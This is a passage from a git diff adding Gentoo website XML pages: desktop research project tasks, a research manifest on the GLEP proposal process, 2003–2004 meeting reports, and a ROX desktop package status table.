+	  </p></longdescription>
+	  <startdate>2003/10/01</startdate>
+	  <enddate>2003/10/13</enddate>
+	  <milestone finished="yes">
+	    <enddate>2003/10/06</enddate>
+	    <description>This milestone is cancelled, because we have already our core team, no need to advertise more.</description>
+	  </milestone>
+	  <milestone finished="yes">
+	    <enddate>2003/10/13</enddate>
+	    <description>Team should be ready, mailing list too.</description>
+	  </milestone>
+	  <dev role="" description=" ">pauldv</dev>
+	  <dev role="" description="">dams</dev>
+	</task>
+
+
+        <subproject ref="/proj/en/desktop/research/config_tools.xml"
+                    inheritresources="no"
+                    inheritmembers="no" />
+        
+        <subproject ref="/proj/en/desktop/research/Xeasyconf-ng.xml"
+                    inheritresources="no"
+                    inheritmembers="no" />
+
+        <task id="config_tools_description" lead="" finished="no">
+	  <name>Gentoo config tools research</name>
+	  <description>Research on the config tools topic</description>
+	  <longdescription><p>
+	  This project is an attempt to design tools that will make Gentoo
+	  configuration more user friendly,
+	  although these tools don't necceserily have GUI frontends. This task
+	  is writing a description of what we want
+	  </p></longdescription>
+	  <startdate>2004/01/26</startdate>
+	  <reference>
+	    <uri link="http://news.gmane.org/gmane.linux.gentoo.desktop.research/cutoff=6">
+	     Mailinglist Archive
+	    </uri>
+      <uri link="config_tools.xml">Project specifications</uri>
+	  </reference>
+	  <dev role="" description="">dams</dev>
+	</task>
+
+<!--        <task id="config_tools_runlevel_editor" lead="" finished="no">
+	  <name>Gentoo Runlevel editor</name>
+	  <description>Design a runlevel configuration tool</description>
+	  <longdescription>
+	  A tool to select the services that should start/stop at specified
+	  runlevels. This tool is also able to start, stop and restart
+	  individual services.
+	  </longdescription>
+	  <depends ref="config_tools_description"/> -->
+<!--
+<reference>
+	    <uri link="http://news.gmane.org/gmane.linux.gentoo.desktop.research/cutoff=6">
+	     Mailinglist Archive
+	    </uri>
+	  </reference>
+	  <startdate>2004/01/21</startdate>
+	  <dev role="" description="">dams</dev>
+	</task>
+-->
+<!-- 	<task id="task2" lead="dams"> -->
+<!-- 	  <name>Another task</name> -->
+<!-- 	  <description>Just another task to test dependencies</description> -->
+<!-- 	  <startdate/> -->
+<!-- 	  <dev role="monitor" description="Monitors the task">dams</dev> -->
+<!-- 	  <depends ref="task1"/> -->
+<!-- 	</task> -->
+
+
+
+
+
+
+
+<!-- 	<extrachapter> -->
+<!-- 		<title>task lists</title> -->
+<!-- 		<section> -->
+<!-- 			<title>Proposal to enhance {g,x,k}dm session startup</title> -->
+<!-- 			<body> -->
+<!-- 				<p>see <uri>http://bugs.gentoo.org/show_bug.cgi?id=14872</uri></p> -->
+<!-- 			</body> -->
+<!-- 		</section> -->
+<!-- 	</extrachapter> -->
+<!--         <task id="task1" lead="pauldv" finished="no"> -->
+<!-- 	  <name>Task Title</name> -->
+<!-- 	  <description>Some short description</description> -->
+<!-- 	  <longdescription> -->
+<!-- 	    A longer description with <c>tags</c> allowed -->
+<!--           </longdescription> -->
+<!-- 	  <startdate>2003/09/28</startdate> -->
+<!-- 	  <reference><uri>http://some_url</uri></reference> -->
+<!-- 	  <reference><bug no="14872"/></reference> -->
+<!-- 	  <milestone finished="no"> -->
+<!-- 	    <enddate>2003/10/28</enddate> -->
+<!-- 	    <description>The project should be running</description> -->
+<!-- 	  </milestone> -->
+<!-- 	  <dev role="documentation" description="should write some documentation in xhtml format, whatever, blablah">pauldv</dev> -->
+<!-- 	  <dev role="CTO" description="Chief Take-the-blame Officer">dams</dev> -->
+<!-- 	</task> -->
+<!-- 	<task id="task2" lead="dams"> -->
+<!-- 	  <name>Another task</name> -->
+<!-- 	  <description>Just another task to test dependencies</description> -->
+<!-- 	  <startdate/> -->
+<!-- 	  <dev role="monitor" description="Monitors the task">dams</dev> -->
+<!-- 	  <depends ref="task1"/> -->
+<!-- 	</task> -->
+</project>
diff --git a/xml/htdocs/proj/en/desktop/research/manifest.xml b/xml/htdocs/proj/en/desktop/research/manifest.xml
new file mode 100644
index 00000000..4490d5db
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/research/manifest.xml
@@ -0,0 +1,152 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/desktop/research/manifest.xml">
+<title>Desktop Research Manifest</title>
+<author title="Desktop Research Team">
+  <mail link="gentoo-desktop-research@gentoo.org">The Desktop Research Team</mail>
+</author>
+<author title="Editor">
+  <mail link="dams@gentoo.org">Damien Krotkine</mail>
+</author>
+
+<abstract>
+This guide shows you how to handle desktop research tasks, and defines some concepts/meanings.
+</abstract>
+
+<license/>
+
+<version>0.2</version>
+<date>10 Nov 2003</date>
+
+<chapter>
+<title>Field of Interest</title>
+
+<section>
+<title>Desktop issue definition</title>
+<body>
+<p>
+An issue is related to the desktop if it is : client side or end-user oriented
+workstation use. Basically, that's everything UI oriented, plus hardware
+management, installation problems as well as simple system management.
+Basically, if it is client side and doesn't use servers, it is our
+responsability.
+</p>
+</body>
+</section>
+
+<section>
+<title>Examples</title>
+<body>
+<p>
+setting internet/lan connection is desktop, but setting a ftp server is not.
+setting sound card, graphic card is desktop
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problems Resolution</title>
+
+<section>
+<title>Exploration phase</title>
+<body>
+<p>
+<b>GOAL</b> : <e>describe and decide</e>
+</p>
+
+<ul>
+  <li>throw a description here, verify validity</li>
+  <li>preliminary discussion here and/or irc</li>
+  <li><e>Optional</e> : Prepare a prototype, testcase or a little code snippet    
+to let everybody play</li>
+  <li>talk with the devs that are the most concerned with the issue, get additional
+information, ask if there is a good reason not to handle it, inform them that plan to
+address a GLEP</li>
+  <li><b>APPROVAL 1 </b> : Is it worth pursuing this proposal? The result
+should be written to the mailing list and on the xml project page if  
+we decide to handle the case.</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Draft phase</title>
+<body>
+<p>
+<b>GOAL</b> : <e>have a GLEP draft</e>
+</p>
+
+<ul>
+  <li>add new tasks : at least some time to research further (with a
+  milestone), and some time to find a solution (with milestone)</li>
+  <li>one of the task should be GLEP writing. Possibly one people should
+take care that the draft is conforming to GLEP standard</li>
+  <li>assign people to the task, set up deadlines. People assigned should include
+as most as possible external devs that are concerned by the issue, so that the
+GLEP get discussed</li>
+  <li>all this should be well written in the xml project pages, and  
+should end with a new and shiny GLEP draft</li>
+  <li><b>APPROVAL 2</b> : do we all (at desktop-research + involved devs) agree on the
+draft?</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>GLEP submission</title>
+<body>
+
+<ul>
+  <li>we submit the GLEP to the responsible entity, so that they approve it, or not</li>
+</ul>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Additional precisions</title>
+<section>
+<title>XML project pages precisions</title>
+<body>
+<p>
+Their main goal is to organize the work, and archive what's been done. They
+should be the canvas to the GLEP and development production. devs assigned to
+some task are responsible of it, and thus should maintain their task on the
+project pages.
+</p>
+</body>
+</section>
+
+<section>
+<title>GLEP precision</title>
+<body>
+<p>The GLEP should contain contain the key parts of the
+discussions from the discussion phase, problem identification (what is  
+the problem), problem acceptation (is this really a problem),
+problem exploration (what are the causes and possible solutions to  
+the problem) , proposed solution and the merits of this particular  
+solution. The latter of course from later discussions.
+</p>
+</body>
+</section>
+
+<section>
+<title>Behaviour</title>
+<body>
+<p>
+We'll try to work together in a peacefull and friendly manner, so no use to be
+strict for every points. Nevertheless, rules are still usefull for extreme
+situations.
+</p>
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/research/meeting_reports.xml b/xml/htdocs/proj/en/desktop/research/meeting_reports.xml
new file mode 100644
index 00000000..150504a4
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/research/meeting_reports.xml
@@ -0,0 +1,181 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<guide>
+	<title>Desktop Research Meetings Reports</title>
+	<author title="dams">
+		<mail link="dams@gentoo.org">Damien Krotkine</mail>
+	</author>
+	<abstract>
+		This lists the gentoo desktop research meetings reports.
+	</abstract>
+	<license/>
+	<version>0.1</version>
+	<date>16 Nov 2003</date>
+
+	<chapter>
+		<title>11 Nov 2003 Meeting</title>
+		<section>
+			<title>Reference</title>
+			<body>
+				<p>
+					<ul>
+						<li> project page : http://www.gentoo.org/proj/en/desktop/research/ </li>
+						<li> manifest page : http://www.gentoo.org/proj/en/desktop/research/manifest.xml </li>
+						<li> mailing list : gentoo-desktop-research@gentoo.org </li>
+					</ul>
+				</p>
+			</body>
+		</section>
+
+		<section>
+			<title>What we've done until now</title>
+			<body>
+				<p>
+					We have set up a core team of devs which goal was to set up a
+					<uri link="http://www.gentoo.org/proj/en/desktop/research/manifest.xml">manifest</uri>,
+					rules to define how we will work. This step is <b>completed</b>.
+				</p>
+			</body>
+		</section>
+		
+		<section>
+			<title>What we are going to do now</title>
+			<body>
+				<p>
+					We can start real desktop research, on important issues. Threads will be
+					started on the <mail link="gentoo-desktop-research@gentoo.org">desktop-research mailing list</mail>. 
+				</p>
+			</body>
+		</section>
+
+		<section>
+			<title>Issues discussed</title>
+			<body>
+				<p>
+					<b>x11 fonts problems</b>
+					<ul>
+						<li>some fonts look bad (foreign characters, some rendering problems)</li>
+						<li>we have too few fonts</li>
+						<li>a guide on howto set up and use x11 fonts could be usefull</li>
+					</ul>
+					<br/>
+					<b>installation</b>
+					<ul>
+						<li>we can add very few work to the livecd and have a working installation</li>
+						<li>Luke-Jr works on something already, he should present his work</li>
+						<li>we need to look at GLIS and anaconda stuff too, will be done in next meeting</li>
+						<li>should configuration be part of the installation, or at first reboot ?</li>
+					</ul>
+					<br/>
+					<b>configuration tools</b>
+					<ul>
+						<li>we need to decide a general guideline for config tools, integration with install</li>
+						<li>we will list and review existing gentoo config tools projects</li>
+					</ul>
+					<br/>
+					<b>bring portage access to the user</b>
+					<ul>
+						<li>kportage works horribly, needs rewrite or update, no one seems to maintain it</li>
+						<li>in a more general manner, decide what software needs to be written to bring portage features useable by any user</li>
+					</ul>
+					<br/>
+					<b>desktop howto guide</b>
+					<ul>
+						<li>gerrynjr proposes to update the existing desktop guide</li>
+						<li>
+							<e>guidelines</e>
+							<ul>
+								<li>use the current text as a base</li>
+								<li>remove the mail and apache sections</li>
+								<li>see spider's local mail guide</li>
+								<li>gerrynjr has to work with SwifT, so that it's integrated with new handbook if needed</li>
+							</ul>
+						</li>
+						<li>g2boojum and tseng agreed to review it</li>	
+					</ul>
+					<br/>
+					<b>meetings</b>
+					<ul>
+						<li>desktop-research meetings will be held on a regular basis, biweekly</li>
+						<li>same day and same time as the desktop meetings, but one week later</li>
+					</ul>
+					<br/>
+					<b>schedule</b>
+					<ul>
+						<li>desktop guide rewrite should begin now</li>
+						<li>next meeting topic will be installation</li>
+						<li>we start threads in the mailing list about x11 fonts problems, config tools, and portage for the mass</li>
+					</ul>
+				</p>
+			</body>
+		</section>
+	</chapter>
+
+  <chapter>
+    <title>19 Jan 2004 meeting</title>
+    
+    <section>
+      <title>New subprojects</title>
+      <body>
+        <p>Two new subprojects are going to be started.</p>
+      </body>
+    </section>
+  
+    <section>
+      <title>subproject: Gentoo Installer</title>
+      <body>
+      <p>
+        The Gentoo installer will take care of installing gentoo from any
+        stage, and also supports GRP installs. The installer will feature plugable
+        frontends (GUI, text based).<br />
+        <b>lead:</b>  Spyderous.<br />
+        <b>members:</b>
+        <ul>
+          <li><b>[joe]:</b> testing only</li>
+          <li><b>ciaranmn:</b> SPARC related stuff</li>
+          <li><b>blackace:</b> Esammer pointed out that this non-dev might be
+          willing to contribute in the form of documentation</li>
+        </ul>
+        There will be a message posted to gentoo-desktop@g.o and
+        gentoo-desktop-research@g.o to find volunteers for this subproject.
+      </p>
+    </body>
+    </section>
+
+    <section>
+      <title>subproject: Gentoo tools</title>
+      <body>
+      <p>
+        The Gentoo tools subproject will try to design tools to help
+        administrate a gentoo box. The Gentoo tools will feature plugable
+        frontends (GTK, QT, text-based, etc.).<br />
+        <b>lead:</b> blubber.<br />
+        <b>members:</b> none yet.<br />
+        gentoo-desktop@g.o and gentoo-desktop-research@g.o will be polled for
+        volunteers.
+      </p>
+      </body>
+    </section>
+
+    <section>
+      <title>User interfaces</title>
+      <body>
+      <p>
+        The goal is create a interface style suitable for the Gentoo Installer
+        and the Gentoo tools, improving userfriendlyness.
+      </p>
+      </body>
+    </section>
+    
+    <section>
+      <title>Schedule</title>
+      <body>
+      <p>
+        Planning and research for these to subprojects will start as soon as
+        teams are formed.
+      </p>
+      </body>
+    </section>
+  </chapter>
+</guide>
+
diff --git a/xml/htdocs/proj/en/desktop/rox/index.xml b/xml/htdocs/proj/en/desktop/rox/index.xml
new file mode 100644
index 00000000..95079f51
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/rox/index.xml
@@ -0,0 +1,908 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>rox</name>
+	<longname>Rox Desktop for Gentoo</longname>
+	<date>December 5, 2007</date>
+	<author title="Author">
+		<mail link="lack@gentoo.org">Jim Ramsay</mail>
+	</author>
+	<description>
+		The Rox Desktop Project handles all rox-desktop issues of the Gentoo distribution.
+	</description>
+	<longdescription>
+		<p>
+			The Rox Desktop Project handles all <uri
+				link="http://rox.sourceforge.net/desktop/">rox-desktop</uri> related
+			issues of the Gentoo distribution.  This largely involves keeping
+			up-to-date with the rox development community and adding new packages
+			and versions as they
+			occur.
+		</p>
+	</longdescription>
+	<goals>
+		<p>
+			The eventual goal is to include all rox-desktop packages as listed on
+			<uri>http://rox.sourceforge.net/desktop/software</uri> with a
+			meta-ebuild called 'rox-all' which mimics the "official" rox 0install
+			ROX-All meta-package.
+		</p>
+	</goals>
+	<extrachapter position="goals">
+		<title>The Overlay</title>
+		<section>
+			<body>
+				<p>
+					There is a new way to test the latest and greatest (and unstable-est)
+					upcoming features that will someday be integrated into the rox packages
+					in the Gentoo tree:
+					  <uri link="http://overlays.gentoo.org/proj/rox/wiki">the ROX
+						  overlay</uri>.
+				</p>
+				<warn>
+					This is an experimental overlay, recommended for
+					advanced users only.  See the <uri
+						link="http://overlays.gentoo.org/proj/rox/wiki">main overlay wiki
+						page</uri> for more
+					details.
+				</warn>
+			</body>
+		</section>
+	</extrachapter>
+	<dev role="lead">lack</dev>
+	<herd name="rox"/>
+	<extrachapter>
+		<title>Package Status</title>
+		<section>
+			<title>Core software</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/ROX-Filer">ROX-Filer</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/rox">rox-base/rox</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/OroboROX">OroboROX</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/oroborox">rox-base/oroborox</uri></ti>
+						<ti>
+							I will not be stabilizing this until an actual stable
+							version is released upstream.
+						</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/Archive">Archive</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/archive">rox-extra/archive</uri></ti>
+						<ti>
+							Pulls in different package handlers based on USE
+							Flags.
+						</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/ROX-Session">ROX-Session</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/rox-session">rox-base/rox-session</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/ROX-All">ROX-All</uri>
+						</ti>
+						<ti>rox-base/rox-all</ti>
+						<ti>Coming soon!</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/AddApp">AddApp</uri>
+						</ti>
+						<ti>none</ti>
+						<ti>This will probably never be included, as it is the front
+							end to 0install, who is the enemy of portage</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://0install.net/">Zeroinstall Injector</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/zeroinstall-injector">rox-base/zeroinstall-injector</uri></ti>
+						<ti>
+							Okay, so I lied about it being the enemy.  Version 0.27 and
+							later works quite well with distro-packaged applications,
+							so it is here.  By default, it will only work with
+							portage-install applications, since the global Network
+							setting is set to "off-line".  This can be changed per-user
+							by running '0launch --gui' and editing the preferences
+							there.
+						</ti>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Audio/Video</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://roscidus.com/desktop/node/426">Jammin</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://roscidus.com/desktop/node/357">mplayer-rox</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/node/177">Mp3Ogg2Wav</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/mp3ogg2wav">rox-extra/mp3ogg2wav</uri></ti>
+						<ti>This is quite slow, unfortunately, but is required by
+							roxdao.</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Software/Audio_Video/Ripper">Ripper</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/ripper">rox-extra/ripper</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Software/Audio_Video/Volume">Volume</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/volume">rox-base/volume</uri></ti>
+						<ti>
+							Somewhat deprecated by DevTray, but still works fine
+						</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Software/Audio_Video/MusicBox">MusicBox</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/musicbox">rox-extra/musicbox</uri></ti>
+						<ti>
+							flac support has been removed until upstream comes up with
+							a patch compatible with recent flac libraries.
+						</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/26">VideoThumbnail</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/videothumbnail">rox-extra/videothumbnail</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/24">Album</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add, but may be nice for use with
+							MusicBox?</ti>
+					</tr>
+					<tr>
+						<ti>RoxCD</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/roxcd">rox-extra/roxcd</uri></ti>
+						<ti/>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Configuration</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/node/430">Autostart</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/rox-autostart">rox-base/rox-autostart</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/Font">Font</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Appearance">Appearance</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Time">Time</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/313">XPlanet</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/rox-xplanet">rox-extra/rox-xplanet</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/LookAndFeel">LookAndFeel</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Resolution">Resolution</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/resolution">rox-extra/resolution</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Mouse">Mouse</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Keyboard">Keyboard</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Gamma">Gamma</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/MIME-Editor">MIME-Editor</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/mime-editor">rox-base/mime-editor</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Wallpaper">Wallpaper</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/wallpaper">rox-extra/wallpaper</uri></ti>
+						<ti/>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Development tools</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://roscidus.com/desktop/Zero2Bundle">Zero2Bundle</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Games</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://roscidus.com/desktop/ROX-MAME">ROX-MAME</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Graphics</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/344">Picky</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/picky">rox-extra/picky</uri></ti>
+						<ti>
+							Version 0.5.4 is buggy, unmaintained, and will not be added
+						</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/274">ComicThumb</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/comicthumb">rox-extra/comicthumb</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>MagickThumbnail</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/magickthumbnail">rox-extra/magickthumbnail</uri></ti>
+						<ti/>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Internet</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://roscidus.com/desktop/node/428">Beluga</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>OpenBSD only, will not be added</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://roscidus.com/desktop/node/422">ROX-Samba</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://roscidus.com/desktop/Ratatosk">Ratatosk</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/WiFi">WiFi</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/rox-wifi">rox-extra/rox-wifi</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Software/Postal">Postal</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/DownloadManager">DownloadManager</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/downloadmanager">rox-extra/downloadmanager</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/36">Launch</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/33">Mail</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Fetch">Fetch</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/fetch">rox-extra/fetch</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>roxGet</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/roxget">rox-extra/roxget</uri></ti>
+						<ti>
+							Deprecated - Fetch is better, but this still works.
+						</ti>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Monitoring</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/299">HddTemp</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Software/Lithium">Lithium</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/lithium">rox-extra/lithium</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/System">System</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/35">NetStat</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/34">Mem</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/32">Load</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/28">FreeFS</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Other</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://roscidus.com/desktop/node/399">XDGSupport</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>
+							Should be added soon, once upstream fixes some outstanding
+							issues
+						</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://roscidus.com/desktop/node/370">ROX-Trasher</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/335">Thumbs</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/thumbs">rox-base/thumbs</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/326">XAttr</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>Probably should be added soon</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/315">Execute</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/312">rox_unpack.sh</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/309">Trashcan</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
